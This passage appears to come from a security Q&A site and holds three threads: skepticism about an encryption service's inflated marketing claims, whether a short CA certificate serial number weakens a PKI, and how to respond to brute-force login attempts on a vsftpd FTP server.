  stronger. This new encryption is running now on the site, providing
  all levels of service with a much upgraded and extremely strong but
  not widely available encryption. In the running for the AES standard,
  our encryption runs a healthy 4096 bits, much, much stronger than off
  the shelf AES.

  We've use only super strong NTRU encryption for public key exchange
  that is believed to be resistant to even quantum computing attacks.
  Not only is it much stronger than RSA used by many of our competitors,
  but key generation is now fast enough that YOU GENERATE YOUR OWN KEYS.
  Other services generate keys in batches, then send you your key using
  SSL security, which can put your key's security in peril if it's
  intercepted.

  We haven't added a "backdoor" like you will find in most public
  encryption libraries. These lesser known algorithms were never chosen
  as standards, so they should be more difficult to break into because
  they never had "contributions" from spies who intentionally weakened
  the code.

  While no encryption or security is perfect, rest assured that Unseen
  provides some of the best available. ...

So, if I use this service am I secured and is my privacy unbreakable?

In general there is no such thing as out-the-box security, so no, your privacy is not unbreakable if you use any service. I can still come sit outside your house with a microphone.

With respect to this service I doubt they are as secure as they claim. They don't use AES, but don't say what they do use. That's called security through obscurity and is basically bad practice. Furthermore they use NTRU, which despite their description is not 'super-strong'. Invented in '96 it's been broken and revised several times as the maths is not well understood. Basically I'd avoid these mavericks. They may be completely correct, but given that the stuff they do use is not well understood, and they don't give details of the symmetric key they use which makes me suspicious.


What's the impact of a simple certificate serial number? As a result of following internet guides slightly too closely, my company's internal PKI now has an intermediate certificate with the serial number "10 00".

Comparing to other certificates, where the serial number is a fairly lengthy hex value, I'm left wondering whether I've created a sub-par cert.

Our Root CA is a simple offline Debian server, which produced the root certificate with OpenSSL.  I then created an intermediate certificate authority (Windows Server 2012R2 bound to Active Directory), and created a CSR from that.  Creating the certificate on the Root CA then produced this "10 00" certificate, which is now distributed throughout Active Directory.

As this certificate belongs to the Issuing CA, the serial number of the certificates it produces are unpredictable.  It's also the only certificate from the RootCA that will have such a droll serial number; any subsequent certificates signed by our Root will have more lengthy serial numbers.

Have I introduced any vulnerabilities or insufficiencies into our PKI with this serial number?  Is it worth the time to pull it out of the AD infrastructure and start over?

EDIT:  The certificates in question are RSA-4096, using SHA256.

The primary risk to your organization is that of someone else who gets tasked with creating an intermediate certificate, and googling for and following the exact same internet guides you found, thus producing another certificate with the exact same serial number.  This could eventually cause problems with a certificate management database, where the certificate serial numbers might be an indexed field that must be kept unique.

Security-wise, the certificate (and your organization's PKI security) is protected 100% by your root CA's signature.  The value of the serial number has nothing to do with the protection offered by the encryption.  An attacker will not be able to tamper with it or offer a substitute just because it has a low or known serial number.

There used to be an issue with MD5 having poor collision protection where a predictable serial number generator could be abused to forge an attribute of a signed certificate, but even that would not impact your organization here because you've said the serial numbers you issue now are not generated sequentially up from 1000.


Bruteforce attack on my FTP server I recently setup VSFTPD on my personal server for sharing files over FTP. In the vsftpd.log file, i see hundreds of failed attempts to login with usernames like "adminitrator" , "adminitrator1", "adminitrator2", "adminitrator123" etc.

I am surprised because i just setup my FTP server and i thought no one would know about its existence. I did not communicate it to anyone that my FTP server exists.

I guess with port scanning tools, one would have found FTP port is open. However i wonder how one would have got my IP.

I downloaded a torrent file, would that expose my IP address?
Is it quite common for the attacker to harvest the ip address from torrent trackers or some other service? Any idea how attacker gets IP address? (like for spamming - spambots are used to harvest the email ID)
Any general pointers for a new comer to secure the server (books, videos, totorials, blogs etc)

You don't need to find out how they got your IP - the entire Internet is constantly being scanned by malicious individuals, bots etc. If you have an FTP server on the Internet, one of these scans will find it and a whole series of attack attempts will commence.

Your downside is - you can't secure an FTP server. FTP just wasn't designed to provide encryption or strong authentication so it has been deprecated.

The recommendation is to replace it with one of the secure alternatives such as SFTP, or only provide access to it via SSH. The good thing is - SFTP is pretty much a drop-in replacement on most Operating Systems.

Update - actually, you are using vsftpd, so you can configure ftps to add authentication and encryption. Check out http://viki.brainsware.org/?en/Explicit_FTPS